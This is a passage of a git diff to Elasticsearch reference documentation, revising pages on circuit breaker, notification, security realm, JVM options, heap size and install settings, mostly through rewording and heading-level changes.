[discrete] [[model-inference-circuit-breaker]] ==== {ml-cap} circuit breaker settings `breaker.model_inference.limit`:: -(<>) Limit for the model inference breaker, -which defaults to 50% of the JVM heap. If the parent circuit breaker is less -than 50% of the JVM heap, it is bound to that limit instead. See -<>. +(<>) The limit for the trained model circuit +breaker. This value is defined as a percentage of the JVM heap. Defaults to +`50%`. If the <> is set to a +value less than `50%`, this setting uses that value as its default instead. `breaker.model_inference.overhead`:: -(<>) A constant that all accounting estimations -are multiplied by to determine a final estimation. Defaults to 1. See -<>. +(<>) A constant that all trained model +estimations are multiplied by to determine a final estimation. See +<>. Defaults to `1`. `breaker.model_inference.type`:: (<>) The underlying type of the circuit breaker. There are two valid options: `noop` and `memory`. `noop` means the circuit breaker does nothing to prevent too much memory usage. `memory` means the -circuit breaker tracks the memory used by inference models and can potentially -break and prevent `OutOfMemory` errors. The default is `memory`. +circuit breaker tracks the memory used by trained models and can potentially +break and prevent `OutOfMemory` errors. The default value is `memory`. diff --git a/docs/reference/settings/monitoring-settings.asciidoc b/docs/reference/settings/monitoring-settings.asciidoc index 33fe03ee0a0a3..832e574a10cce 100644 --- a/docs/reference/settings/monitoring-settings.asciidoc +++ b/docs/reference/settings/monitoring-settings.asciidoc @@ -148,7 +148,7 @@ automatically upgrade bulk requests to future-proof them. `cluster_alerts.management.enabled`:: Whether to create cluster alerts for this cluster. The default value is `true`. -To use this feature, {watcher} must be enabled. If you have a basic license, +To use this feature, {watcher} must be enabled. If you have a basic license, cluster alerts are not displayed. `wait_master.timeout`:: diff --git a/docs/reference/settings/notification-settings.asciidoc b/docs/reference/settings/notification-settings.asciidoc index 1bcc9b19be0c9..cb8986961a5b3 100644 --- a/docs/reference/settings/notification-settings.asciidoc +++ b/docs/reference/settings/notification-settings.asciidoc @@ -65,6 +65,16 @@ connection is being initiated. The maximum period of inactivity between two data packets, before the request is aborted. +`xpack.http.tcp.keep_alive` +(<>) +Whether to enable TCP keepalives on HTTP connections. Defaults to `true`. + +`xpack.http.connection_pool_ttl` +(<>) +The time-to-live of connections in the connection pool. If a connection is not +re-used within this timeout, it is closed. By default, the time-to-live is +infinite meaning that connections never expire. + `xpack.http.max_response_size`:: (<>) Specifies the maximum size an HTTP response is allowed to have, defaults to @@ -74,7 +84,7 @@ Specifies the maximum size an HTTP response is allowed to have, defaults to (<>) A list of URLs, that the internal HTTP client is allowed to connect to. This client is used in the HTTP input, the webhook, the slack, pagerduty, -and jira actions. This setting can be updated dynamically. It defaults to `*` +and jira actions. This setting can be updated dynamically. It defaults to `*` allowing everything. Note: If you configure this setting and you are using one of the slack/pagerduty actions, you have to ensure that the corresponding endpoints are explicitly allowed as well. @@ -263,6 +273,12 @@ Defaults to `true`. include::ssl-settings.asciidoc[] +`xpack.notification.reporting.warning.kbn-csv-contains-formulas.text`:: +(<>) +Specifies a custom message to be sent if the formula verification criteria +for CSV files, from kibana `xpack.reporting.csv.checkForFormulas`, is true. +Use %s in the message as a placeholder for the filename. + [[slack-notification-settings]] ==== Slack Notification Settings You can configure the following Slack notification settings in diff --git a/docs/reference/settings/security-settings.asciidoc b/docs/reference/settings/security-settings.asciidoc index f296221115a1f..b0ad720fb6b32 100644 --- a/docs/reference/settings/security-settings.asciidoc +++ b/docs/reference/settings/security-settings.asciidoc @@ -46,7 +46,7 @@ recommend that you explicitly add this setting to avoid confusion. (<>) A comma-separated list of settings that are omitted from the results of the <>. You can use wildcards to include -multiple settings in the list. For example, the following value hides all the +multiple settings in the list. For example, the following value hides all the settings for the ad1 active_directory realm: `xpack.security.authc.realms.active_directory.ad1.*`. The API already omits all `ssl` settings, `bind_dn`, and `bind_password` due to @@ -54,7 +54,7 @@ the sensitive nature of the information. `xpack.security.fips_mode.enabled`:: (<>) -Enables fips mode of operation. Set this to `true` if you run this {es} instance in a FIPS 140-2 enabled JVM. For more information, see <>. Defaults to `false`. +Enables fips mode of operation. Set this to `true` if you run this {es} instance in a FIPS 140-2 enabled JVM. For more information, see <>. Defaults to `false`. [discrete] [[password-hashing-settings]] @@ -70,7 +70,7 @@ See <>. Defaults to `bcrypt`. ==== Anonymous access settings You can configure the following anonymous access settings in -`elasticsearch.yml`. For more information, see <>. +`elasticsearch.yml`. For more information, see <>. `xpack.security.authc.anonymous.username`:: (<>) @@ -256,9 +256,8 @@ realm without removing its configuration information. Defaults to `true`. [[ref-native-settings]] [discrete] ===== Native realm settings -For a native realm, the `type` must be set to `native`. In addition to the -<>, you can specify -the following optional settings: +In addition to the <>, +you can specify the following optional settings: `cache.ttl`:: (<>) @@ -290,8 +289,7 @@ Defaults to `true`. [discrete] ===== File realm settings -The `type` setting must be set to `file`. In addition to the -<>, you can specify +In addition to the <>, you can specify the following settings: `cache.ttl`:: @@ -323,8 +321,7 @@ Defaults to `true`. [discrete] ===== LDAP realm settings -The `type` setting must be set to `ldap`. In addition to the -<>, you can specify the following settings: +In addition to the <>, you can specify the following settings: `url`:: (<>) @@ -473,14 +470,14 @@ only group considered. Defaults to `sub_tree`. (<>) Specifies a filter to use to look up a group. When not set, the realm searches for `group`, `groupOfNames`, `groupOfUniqueNames`, -or `posixGroup` with the attributes `member`, `memberOf`, or `memberUid`. Any +or `posixGroup` with the attributes `member`, `memberOf`, or `memberUid`. Any instance of `{0}` in the filter is replaced by the user attribute defined in `group_search.user_attribute`. `group_search.user_attribute`:: (<>) Specifies the user attribute that is fetched and provided as a parameter to -the filter. If not set, the user DN is passed into the filter. Defaults to Empty. +the filter. If not set, the user DN is passed into the filter. Defaults to Empty. `unmapped_groups_as_roles`:: (<>) @@ -648,9 +645,8 @@ Defaults to `true`. [discrete] ===== Active Directory realm settings -The `type` setting must be set to `active_directory`. In addition to the -<>, you can specify -the following settings: +In addition to the <>, +you can specify the following settings: `url`:: (<>) @@ -730,7 +726,7 @@ only user considered. Defaults to `sub_tree`. `user_search.filter`:: (<>) -Specifies a filter to use to lookup a user given a username. The default +Specifies a filter to use to lookup a user given a username. The default filter looks up `user` objects with either `sAMAccountName` or `userPrincipalName`. If specified, this must be a valid LDAP user search filter. For example `(&(objectClass=user)(sAMAccountName={0}))`. For more information, @@ -792,7 +788,7 @@ Defaults to `60s`. `group_search.base_dn`:: (<>) -The context to search for groups in which the user has membership. Defaults +The context to search for groups in which the user has membership. Defaults to the root of the Active Directory domain. `group_search.scope`:: @@ -817,7 +813,7 @@ Defaults to `5s` (5 seconds ). `timeout.tcp_read`:: (<>) deprecated[7.7] The TCP read timeout period after establishing an LDAP -connection. This is equivalent to and is deprecated in favor of +connection. This is equivalent to and is deprecated in favor of `timeout.response` and they cannot be used simultaneously. An `s` at the end indicates seconds, or `ms` indicates milliseconds. Defaults to the value of `timeout.ldap_search`. @@ -959,8 +955,7 @@ LDAP operation (such as `search`). Defaults to `true`. [discrete] ===== PKI realm settings -The `type` setting must be set to `pki`. In addition to the -<>, you can specify +In addition to the <>, you can specify the following settings: `username_pattern`:: @@ -996,7 +991,7 @@ for SSL. This setting cannot be used with `certificate_authorities`. `files.role_mapping`:: (<>) Specifies the <> of the -<>. +<>. Defaults to `ES_PATH_CONF/role_mapping.yml`. `authorization_realms`:: @@ -1034,8 +1029,7 @@ Configuring authentication delegation for PKI realms>>. [discrete] ===== SAML realm settings // tag::saml-description-tag[] -The `type` setting must be set to `saml`. In addition to the -<>, you can specify +In addition to the <>, you can specify the following settings. // end::saml-description-tag[] @@ -1173,7 +1167,7 @@ As per `attribute_patterns.principal`, but for the _dn_ property. `nameid_format` {ess-icon}:: (<>) The NameID format that should be requested when asking the IdP to authenticate -the current user. The default is to not include the `nameid_format` attribute. +the current user. The default is to not include the `nameid_format` attribute. // end::saml-nameid-format-tag[] // tag::saml-nameid-allow-create-tag[] @@ -1499,7 +1493,7 @@ include::{es-repo-dir}/settings/common-defs.asciidoc[tag=ssl-cipher-suites-value [[ref-kerberos-settings]] ===== Kerberos realm settings // tag::kerberos-description-tag[] -For a Kerberos realm, the `type` must be set to `kerberos`. In addition to the +In addition to the <>, you can specify the following settings: // end::kerberos-description-tag[] @@ -1633,6 +1627,23 @@ at the OpenID Connect Provider. The OAuth 2.0 Client Secret that was assigned to {es} during registration at the OpenID Connect Provider. +// tag::rp-client-auth-method-tag[] +`rp.client_auth_method` {ess-icon}:: +(<>) +The client authentication method used by {es} to authenticate +to the OpenID Connect Provider. Can be `client_secret_basic`, `client_secret_post`, +or `client_secret_jwt`. Defaults to `client_secret_basic`. +// end::rp-client-auth-method-tag[] + +// tag::rp-client-auth-jwt-signature-algorithm[] +`rp.client_auth_signature_algorithm` {ess-icon}:: +(<>) +The signature algorithm that {es} uses to sign the JWT with which it authenticates +as a client to the OpenID Connect Provider when `client_secret_jwt` is selected for +`rp.client_auth_method`. Can be either `HS256`, `HS384`, or `HS512`. Defaults to +`HS384`. +// end::rp-client-auth-jwt-signature-algorithm[] + // tag::rp-redirect-uri-tag[] `rp.redirect_uri` {ess-icon}:: (<>) diff --git a/docs/reference/setup.asciidoc b/docs/reference/setup.asciidoc index 7817d1ffdebd7..a36c0b9b32815 100644 --- a/docs/reference/setup.asciidoc +++ b/docs/reference/setup.asciidoc @@ -41,7 +41,8 @@ include::setup/install.asciidoc[] include::setup/configuration.asciidoc[] -include::setup/jvm-options.asciidoc[] +include::setup/important-settings.asciidoc[] + include::setup/secure-settings.asciidoc[] @@ -96,11 +97,7 @@ include::modules/threadpool.asciidoc[] include::settings/notification-settings.asciidoc[] include::setup/advanced-configuration.asciidoc[] - -include::setup/important-settings.asciidoc[] - include::setup/sysconfig.asciidoc[] - include::setup/bootstrap-checks.asciidoc[] include::setup/bootstrap-checks-xes.asciidoc[] diff --git a/docs/reference/setup/advanced-configuration.asciidoc b/docs/reference/setup/advanced-configuration.asciidoc index c6d92ee945974..961a6418f56ce 100644 --- a/docs/reference/setup/advanced-configuration.asciidoc +++ b/docs/reference/setup/advanced-configuration.asciidoc @@ -1,55 +1,138 @@ [[advanced-configuration]] -=== Advanced configuration settings +=== Advanced configuration -The settings below are considered advanced and for expert users only. In -most cases the {es}-provided default settings should be used. Take caution -when modifying these settings as this could result in undesired behavior or -reduced system performance. +Modifying advanced settings is generally not recommended and could negatively +impact performance and stability. Using the {es}-provided defaults +is recommended in most circumstances. -[[setting-jvm-heap-size]] -==== Setting JVM heap size +[[set-jvm-options]] +==== Set JVM options -If you need to override the default <>, -follow the best practices below. +If needed, you can override the default JVM options by adding custom options +files (preferred) or setting the `ES_JAVA_OPTS` environment variable. -{es} assigns the entire heap specified in -<> via the `Xms` (minimum heap size) and `Xmx` (maximum -heap size) settings. These two settings must be equal to each other. +JVM options files must have the suffix '.options' and contain a line-delimited +list of JVM arguments. JVM processes options files in lexicographic order. -The value for these settings depends on the amount of RAM available on your -server: +Where you put the JVM options files depends on the type of installation: -* Set `Xmx` and `Xms` to no more than 50% of your total system memory. {es} requires -memory for purposes other than the JVM heap and it is important to leave -space for this. For instance, {es} uses off-heap buffers for efficient -network communication, relies on the operating system's filesystem cache for -efficient access to files, and the JVM itself requires some memory too. It is -normal to observe the {es} process using more memory than the limit +* tar.gz or .zip: Add custom JVM options files to `config/jvm.options.d/`. +* Debian or RPM: Add custom JVM options files to `/etc/elasticsearch/jvm.options.d/`. +* Docker: Bind mount custom JVM options files into +`/usr/share/elasticsearch/config/jvm.options.d/`. + +NOTE: Do not modify the root `jvm.options` file. Use files in `jvm.options.d/` instead. + +[[jvm-options-syntax]] +===== JVM options syntax + +A JVM options file contains a line-delimited list of JVM arguments. +Arguments are preceded by a dash (`-`). +To apply the setting to specific versions, prepend the version +or a range of versions followed by a colon. + +* Apply a setting to all versions: ++ +[source,text] +------------------------------------- +-Xmx2g +------------------------------------- + +* Apply a setting to a specific version: ++ +[source,text] +------------------------------------- +8:-Xmx2g +------------------------------------- + +* Apply a setting to a range of versions: ++ +[source,text] +------------------------------------- +8-9:-Xmx2g +------------------------------------- ++ +To apply a setting to a specific version and any later versions, +omit the upper bound of the range. +For example, this setting applies to Java 8 and later: ++ +[source,text] +------------------------------------- +8-:-Xmx2g +------------------------------------- + +Blank lines are ignored. Lines beginning with `#` are treated as comments +and ignored. Lines that aren't commented out and aren't recognized +as valid JVM arguments are rejected and {es} will fail to start. + +[[jvm-options-env]] +===== Use environment variables to set JVM options + +In production, use JVM options files to override the +default settings. In testing and development environments, +you can also set JVM options through the `ES_JAVA_OPTS` environment variable. + +[source,sh] +--------------------------------- +export ES_JAVA_OPTS="$ES_JAVA_OPTS -Djava.io.tmpdir=/path/to/temp/dir" +./bin/elasticsearch +--------------------------------- + +If you're using the RPM or Debian packages, you can specify +`ES_JAVA_OPTS` in the <>. + +NOTE: {es} ignores the `JAVA_TOOL_OPTIONS` and `JAVA_OPTS` environment variables. + +[[set-jvm-heap-size]] +==== Set the JVM heap size + +By default, {es} automatically sets the JVM heap size based on a node's +<> and total memory. +Using the default sizing is recommended for most production environments. + +NOTE: Automatic heap sizing requires the <> or, if using +a custom JRE location, a Java 14 or later JRE. + +To override the default heap size, set the minimum and maximum heap size +settings, `Xms` and `Xmx`. The minimum and maximum values must be the same. + +The heap size should be based on the available RAM: + +* Set `Xms` and `Xmx` to no more than 50% of your total memory. {es} requires +memory for purposes other than the JVM heap. For example, {es} uses +off-heap buffers for efficient network communication and relies +on the operating system's filesystem cache for +efficient access to files. The JVM itself also requires some memory. It's +normal for {es} to use more memory than the limit configured with the `Xmx` setting. ++ +NOTE: When running in a container, such as <>, total memory is +defined as the amount of memory visible to the container, not the total system +memory on the host. -* Set `Xmx` and `Xms` to no more than the threshold that the JVM uses for -compressed object pointers (compressed oops). The exact threshold varies but -is near 32 GB. You can verify that you are under the threshold by looking for a line in the logs like the following: +* Set `Xms` and `Xmx` to no more than 32 GB, the approximate threshold for +compressed ordinary object pointers (oops). To verify you are under the +threshold, check `elasticsearch.logs` for an entry like this: + [source,txt] ---- heap size [1.9gb], compressed ordinary object pointers [true] ---- -* Set `Xmx` and `Xms` to no more than the threshold for zero-based +* Set `Xms` and `Xmx` to no more than the threshold for zero-based compressed oops. The exact threshold varies but 26GB is safe on most systems and can be as large as 30GB on some systems. You can verify that you are under this threshold by starting {es} with the JVM options -`-XX:+UnlockDiagnosticVMOptions -XX:+PrintCompressedOopsMode` and looking for -a line like the following: +`-XX:+UnlockDiagnosticVMOptions -XX:+PrintCompressedOopsMode` and checking +`elasticsearch.logs` for an entry like this: + [source,txt] ---- heap address: 0x000000011be00000, size: 27648 MB, zero based Compressed Oops ---- + -This line shows that zero-based compressed oops are enabled. If zero-based -compressed oops are not enabled, you'll see a line like the following instead: +This entry shows that zero-based compressed oops are enabled. If zero-based +compressed oops are not enabled, the entry looks like this: + [source,txt] ---- @@ -61,31 +144,27 @@ caches. This leaves less memory for the operating system to use for the filesystem cache. Larger heaps can also cause longer garbage collection pauses. -Here is an example of how to set the heap size via a `jvm.options.d/` file: +To configure the heap size, add the `Xms` and `Xmx` JVM arguments to a +custom JVM options file with the extension `.options` and +store it in the `jvm.options.d/` directory. +For example, to set the maximum heap size to 2GB, set both `Xms` and `Xmx` to `2g`: [source,txt] ------------------ --Xms2g <1> --Xmx2g <2> +-Xms2g +-Xmx2g ------------------ -<1> Set the minimum heap size to 2g. -<2> Set the maximum heap size to 2g. - -In production, we recommend using `jvm.options.d` to configure heap sizes. For testing, you can also set the heap sizes using the `ES_JAVA_OPTS` -environment variable. The `ES_JAVA_OPTS` variable overrides all other JVM -options. We do not recommend using `ES_JAVA_OPTS` in production. +environment variable: [source,sh] ------------------ -ES_JAVA_OPTS="-Xms2g -Xmx2g" ./bin/elasticsearch <1> -ES_JAVA_OPTS="-Xms4000m -Xmx4000m" ./bin/elasticsearch <2> +ES_JAVA_OPTS="-Xms2g -Xmx2g" ./bin/elasticsearch ------------------ -<1> Set the minimum and maximum heap size to 2 GB. -<2> Set the minimum and maximum heap size to 4000 MB. -NOTE: Configuring the heap for the <> is -different than the above. The values initially populated for the Windows -service can be configured as above but are different after the service has been -installed. See <>. +The `ES_JAVA_OPTS` variable overrides all other JVM +options. We do not recommend using `ES_JAVA_OPTS` in production. + +NOTE: If you are running {es} as a Windows service, you can change the heap size +using the service manager. See <>. diff --git a/docs/reference/setup/bootstrap-checks-xes.asciidoc b/docs/reference/setup/bootstrap-checks-xes.asciidoc index 09ad85a709d0c..bc187e668d0c0 100644 --- a/docs/reference/setup/bootstrap-checks-xes.asciidoc +++ b/docs/reference/setup/bootstrap-checks-xes.asciidoc @@ -14,7 +14,8 @@ If you use {watcher} and have chosen to encrypt sensitive data (by setting the secure settings store. To pass this bootstrap check, you must set the `xpack.watcher.encryption_key` -on each node in the cluster. For more information, see <>. +on each node in the cluster. For more information, see +<>. [discrete] === PKI realm check @@ -23,7 +24,8 @@ on each node in the cluster. For more information, see <>. If you use {es} {security-features} and a Public Key Infrastructure (PKI) realm, you must configure Transport Layer Security (TLS) on your cluster and enable client authentication on the network layers (either transport or http). For more -information, see <> and <>. +information, see <> and +<>. To pass this bootstrap check, if a PKI realm is enabled, you must configure TLS and enable client authentication on at least one network communication layer. @@ -51,15 +53,15 @@ must also be valid. === SSL/TLS check //See TLSLicenseBootstrapCheck.java -If you enable {es} {security-features}, unless you have a trial license, you +If you enable {es} {security-features}, unless you have a trial license, you must configure SSL/TLS for internode-communication. NOTE: Single-node clusters that use a loopback interface do not have this -requirement. For more information, see -<>. +requirement. For more information, see +<>. To pass this bootstrap check, you must -<>. +<>. [discrete] diff --git a/docs/reference/setup/bootstrap-checks.asciidoc b/docs/reference/setup/bootstrap-checks.asciidoc index ff5261f4bde77..f68b0259bb98a 100644 --- a/docs/reference/setup/bootstrap-checks.asciidoc +++ b/docs/reference/setup/bootstrap-checks.asciidoc @@ -57,8 +57,7 @@ bootstrap checks (either by not binding transport to an external interface, or by binding transport to an external interface and setting the discovery type to `single-node`). For this situation, you can force execution of the bootstrap checks by setting the system property `es.enforce.bootstrap.checks` to `true` -(set this in <>, or by adding `-Des.enforce.bootstrap.checks=true` -to the environment variable `ES_JAVA_OPTS`). We strongly encourage you to do +in the <>. We strongly encourage you to do this if you are in this specific situation. This system property can be used to force execution of the bootstrap checks independent of the node configuration. @@ -228,7 +227,7 @@ release build of the JVM. Early versions of the HotSpot JVM that shipped with JDK 8 are known to have issues that can lead to index corruption when the G1GC collector is -enabled. The versions impacted are those earlier than the version of +enabled. The versions impacted are those earlier than the version of HotSpot that shipped with JDK 8u40. The G1GC check detects these early versions of the HotSpot JVM. diff --git a/docs/reference/setup/configuration.asciidoc b/docs/reference/setup/configuration.asciidoc index f0e5c1518aa7b..71c2199d75c77 100644 --- a/docs/reference/setup/configuration.asciidoc +++ b/docs/reference/setup/configuration.asciidoc @@ -1,7 +1,7 @@ [[settings]] -== Configuring Elasticsearch +== Configuring {es} -Elasticsearch ships with good defaults and requires very little configuration. +{es} ships with good defaults and requires very little configuration. Most settings can be changed on a running cluster using the <> API. @@ -13,11 +13,11 @@ able to join a cluster, such as `cluster.name` and `network.host`. [discrete] === Config files location -Elasticsearch has three configuration files: +{es} has three configuration files: -* `elasticsearch.yml` for configuring Elasticsearch -* `jvm.options` for configuring Elasticsearch JVM settings -* `log4j2.properties` for configuring Elasticsearch logging +* `elasticsearch.yml` for configuring {es} +* `jvm.options` for configuring {es} JVM settings +* `log4j2.properties` for configuring {es} logging These files are located in the config directory, whose default location depends on whether or not the installation is from an archive distribution (`tar.gz` or @@ -96,7 +96,7 @@ node.name: ${HOSTNAME} network.host: ${ES_NETWORK_HOST} -------------------------------------------------- -Values for environment variables must be simple strings. Use a comma-separated string to provide values that Elasticsearch will parse as a list. For example, Elasticsearch will split the following string into a list of values for the `${HOSTNAME}` environment variable: +Values for environment variables must be simple strings. Use a comma-separated string to provide values that {es} will parse as a list. For example, {es} will split the following string into a list of values for the `${HOSTNAME}` environment variable: [source,yaml] ---- diff --git a/docs/reference/setup/important-settings.asciidoc b/docs/reference/setup/important-settings.asciidoc index bf2fd44710a85..03c891af70743 100644 --- a/docs/reference/setup/important-settings.asciidoc +++ b/docs/reference/setup/important-settings.asciidoc @@ -1,5 +1,5 @@ [[important-settings]] -== Important Elasticsearch configuration +=== Important {es} configuration {es} requires very little configuration to get started, but there are a number of items which *must* be considered before using your cluster in production: diff --git a/docs/reference/setup/important-settings/cluster-name.asciidoc b/docs/reference/setup/important-settings/cluster-name.asciidoc index a4e711a3088ad..5c3b242e10107 100644 --- a/docs/reference/setup/important-settings/cluster-name.asciidoc +++ b/docs/reference/setup/important-settings/cluster-name.asciidoc @@ -1,6 +1,6 @@ [[cluster-name]] [discrete] -=== Cluster name setting +==== Cluster name setting A node can only join a cluster when it shares its `cluster.name` with all the other nodes in the cluster. The default name is `elasticsearch`, but you should diff --git a/docs/reference/setup/important-settings/discovery-settings.asciidoc b/docs/reference/setup/important-settings/discovery-settings.asciidoc index b2bec4cc637d2..a96a01121a0de 100644 --- a/docs/reference/setup/important-settings/discovery-settings.asciidoc +++ b/docs/reference/setup/important-settings/discovery-settings.asciidoc @@ -1,6 +1,6 @@ [[discovery-settings]] [discrete] -=== Discovery and cluster formation settings +==== Discovery and cluster formation settings Configure two important discovery and cluster formation settings before going to production so that nodes in the cluster can discover each other and elect a @@ -8,7 +8,7 @@ master node. [discrete] [[unicast.hosts]] -==== `discovery.seed_hosts` +===== `discovery.seed_hosts` Out of the box, without any network configuration, {es} will bind to the available loopback addresses and scan local ports `9300` to `9305` to @@ -44,7 +44,7 @@ dynamically. [discrete] [[initial_master_nodes]] -==== `cluster.initial_master_nodes` +===== `cluster.initial_master_nodes` When you start an {es} cluster for the first time, a <> step diff --git a/docs/reference/setup/important-settings/error-file.asciidoc b/docs/reference/setup/important-settings/error-file.asciidoc index 1f0c8c00ce962..ca95ded78d53f 100644 --- a/docs/reference/setup/important-settings/error-file.asciidoc +++ b/docs/reference/setup/important-settings/error-file.asciidoc @@ -1,6 +1,6 @@ [[error-file-path]] [discrete] -=== JVM fatal error log setting +==== JVM fatal error log setting By default, {es} configures the JVM to write fatal error logs to the default logging directory. On <> and <> packages, @@ -9,4 +9,4 @@ directory is located under the root of the {es} installation. These are logs produced by the JVM when it encounters a fatal error, such as a segmentation fault. If this path is not suitable for receiving logs, -modify the `-XX:ErrorFile=...` entry in <>. +modify the `-XX:ErrorFile=...` entry in <>. diff --git a/docs/reference/setup/important-settings/es-tmpdir.asciidoc b/docs/reference/setup/important-settings/es-tmpdir.asciidoc index 99a100a9367ac..106a6b17e2e50 100644 --- a/docs/reference/setup/important-settings/es-tmpdir.asciidoc +++ b/docs/reference/setup/important-settings/es-tmpdir.asciidoc @@ -1,6 +1,6 @@ [[es-tmpdir]] [discrete] -=== Temporary directory settings +==== Temporary directory settings By default, {es} uses a private temporary directory that the startup script creates immediately below the system temporary directory. diff --git a/docs/reference/setup/important-settings/gc-logging.asciidoc b/docs/reference/setup/important-settings/gc-logging.asciidoc index 6bba17401b6cf..273ac3ca5baca 100644 --- a/docs/reference/setup/important-settings/gc-logging.asciidoc +++ b/docs/reference/setup/important-settings/gc-logging.asciidoc @@ -1,9 +1,9 @@ [[gc-logging]] [discrete] -=== GC logging settings +==== GC logging settings By default, {es} enables garbage collection (GC) logs. These are configured in -<> and output to the same default location as +<> and output to the same default location as the {es} logs. The default configuration rotates the logs every 64 MB and can consume up to 2 GB of disk space. diff --git a/docs/reference/setup/important-settings/heap-dump-path.asciidoc b/docs/reference/setup/important-settings/heap-dump-path.asciidoc index 343deb0983b18..8f01379842a90 100644 --- a/docs/reference/setup/important-settings/heap-dump-path.asciidoc +++ b/docs/reference/setup/important-settings/heap-dump-path.asciidoc @@ -1,6 +1,6 @@ [[heap-dump-path]] [discrete] -=== JVM heap dump path setting +==== JVM heap dump path setting By default, {es} configures the JVM to dump the heap on out of memory exceptions to the default data directory. On <> and @@ -9,7 +9,7 @@ memory exceptions to the default data directory. On <> and the `data` directory is located under the root of the {es} installation. If this path is not suitable for receiving heap dumps, modify the -`-XX:HeapDumpPath=...` entry in <>: +`-XX:HeapDumpPath=...` entry in <>: * If you specify a directory, the JVM will generate a filename for the heap dump based on the PID of the running instance. diff --git a/docs/reference/setup/important-settings/heap-size.asciidoc b/docs/reference/setup/important-settings/heap-size.asciidoc index 8f193a4ec7902..a13967fd09019 100644 --- a/docs/reference/setup/important-settings/heap-size.asciidoc +++ b/docs/reference/setup/important-settings/heap-size.asciidoc @@ -1,15 +1,13 @@ [[heap-size-settings]] [discrete] -=== Heap size settings +==== Heap size settings -By default, {es} automatically sizes JVM heap based on a node's -<> and total memory. We recommend this default sizing for most -production environments. If needed, you can override default sizing by manually -<>. +By default, {es} automatically sets the JVM heap size based on a node's +<> and total memory. +We recommend the default sizing for most production environments. NOTE: Automatic heap sizing requires the <> or, if using a custom JRE location, a Java 14 or later JRE. -NOTE: When running in a container, such as <>, total memory is -defined as the amount of memory visible to the container, not the total system -memory on the host. +If needed, you can override the default sizing by manually +<>. diff --git a/docs/reference/setup/important-settings/network-host.asciidoc b/docs/reference/setup/important-settings/network-host.asciidoc index 788a122be277b..c58712ee4ec4a 100644 --- a/docs/reference/setup/important-settings/network-host.asciidoc +++ b/docs/reference/setup/important-settings/network-host.asciidoc @@ -1,6 +1,6 @@ [[network.host]] [discrete] -=== Network host setting +==== Network host setting By default, {es} only binds to loopback addresses such as `127.0.0.1` and `[::1]`. This is sufficient to run a cluster of one or more nodes on a single diff --git a/docs/reference/setup/important-settings/node-name.asciidoc b/docs/reference/setup/important-settings/node-name.asciidoc index e50027ae2eb70..eda3052d119c9 100644 --- a/docs/reference/setup/important-settings/node-name.asciidoc +++ b/docs/reference/setup/important-settings/node-name.asciidoc @@ -1,6 +1,6 @@ [[node-name]] [discrete] -=== Node name setting +==== Node name setting {es} uses `node.name` as a human-readable identifier for a particular instance of {es}. This name is included in the response diff --git a/docs/reference/setup/important-settings/path-settings.asciidoc b/docs/reference/setup/important-settings/path-settings.asciidoc index 49e6edb356bb0..cba283e7b3dd8 100644 --- a/docs/reference/setup/important-settings/path-settings.asciidoc +++ b/docs/reference/setup/important-settings/path-settings.asciidoc @@ -1,11 +1,15 @@ [[path-settings]] [discrete] -=== Path settings +==== Path settings + +{es} writes the data you index to indices and data streams to a `data` +directory. {es} writes its own application logs, which contain information about +cluster health and operations, to a `logs` directory. For <>, <>, and -<> installations, {es} writes data and logs to the -respective `data` and `logs` subdirectories of `$ES_HOME` by default. -However, files in `$ES_HOME` risk deletion during an upgrade. +<> installations, `data` and `logs` are +subdirectories of `$ES_HOME` by default. However, files in `$ES_HOME` risk +deletion during an upgrade. In production, we strongly recommend you set the `path.data` and `path.logs` in `elasticsearch.yml` to locations outside of `$ES_HOME`. @@ -19,15 +23,3 @@ Supported `path.data` and `path.logs` values vary by platform: include::{es-repo-dir}/tab-widgets/code.asciidoc[] include::{es-repo-dir}/tab-widgets/customize-data-log-path-widget.asciidoc[] - -If needed, you can specify multiple paths in `path.data`. {es} stores the node's -data across all provided paths but keeps each shard's data on the same path. - -WARNING: {es} does not balance shards across a node's data paths. High disk -usage in a single path can trigger a <> for the entire node. If triggered, {es} will not add shards to -the node, even if the node’s other paths have available disk space. If you need -additional disk space, we recommend you add a new node rather than additional -data paths. - -include::{es-repo-dir}/tab-widgets/multi-data-path-widget.asciidoc[] \ No newline at end of file diff --git a/docs/reference/setup/important-settings/snapshot.asciidoc b/docs/reference/setup/important-settings/snapshot.asciidoc index cd788d9d272b6..2b073b7db4dd6 100644 --- a/docs/reference/setup/important-settings/snapshot.asciidoc +++ b/docs/reference/setup/important-settings/snapshot.asciidoc @@ -1,6 +1,6 @@ [[important-settings-backups]] [discrete] -=== Cluster backups +==== Cluster backups In a disaster, <> can prevent permanent data loss. <> is the easiest way to take regular diff --git a/docs/reference/setup/install.asciidoc b/docs/reference/setup/install.asciidoc index 1fbce2987587c..7874738032836 100644 --- a/docs/reference/setup/install.asciidoc +++ b/docs/reference/setup/install.asciidoc @@ -31,7 +31,7 @@ The `zip` archive is suitable for installation on Windows. `deb`:: The `deb` package is suitable for Debian, Ubuntu, and other Debian-based -systems. Debian packages may be downloaded from the Elasticsearch website or +systems. Debian packages may be downloaded from the Elasticsearch website or from our Debian repository. + <> @@ -39,7 +39,7 @@ from our Debian repository. `rpm`:: The `rpm` package is suitable for installation on Red Hat, Centos, SLES, -OpenSuSE and other RPM-based systems. RPMs may be downloaded from the +OpenSuSE and other RPM-based systems. RPMs may be downloaded from the Elasticsearch website or from our RPM repository. + <> diff --git a/docs/reference/setup/install/brew.asciidoc b/docs/reference/setup/install/brew.asciidoc index 52e9e70cebc19..278b0af4d4a80 100644 --- a/docs/reference/setup/install/brew.asciidoc +++ b/docs/reference/setup/install/brew.asciidoc @@ -49,7 +49,7 @@ and data directory are stored in the following locations. | data | The location of the data files of each index / shard allocated - on the node. Can hold multiple locations. + on the node. | /usr/local/var/lib/elasticsearch | path.data diff --git a/docs/reference/setup/install/deb.asciidoc b/docs/reference/setup/install/deb.asciidoc index 5ead757b9abdc..9cabd734fe31e 100644 --- a/docs/reference/setup/install/deb.asciidoc +++ b/docs/reference/setup/install/deb.asciidoc @@ -157,7 +157,7 @@ include::sysconfig-file.asciidoc[] NOTE: Distributions that use `systemd` require that system resource limits be configured via `systemd` rather than via the `/etc/sysconfig/elasticsearch` -file. See <> for more information. +file. See <> for more information. [[deb-layout]] ==== Directory layout of Debian package @@ -192,7 +192,7 @@ locations for a Debian-based system: | data | The location of the data files of each index / shard allocated - on the node. Can hold multiple locations. + on the node. | /var/lib/elasticsearch | path.data diff --git a/docs/reference/setup/install/docker.asciidoc b/docs/reference/setup/install/docker.asciidoc index d0282c814a7fa..a19bacb47fa44 100644 --- a/docs/reference/setup/install/docker.asciidoc +++ 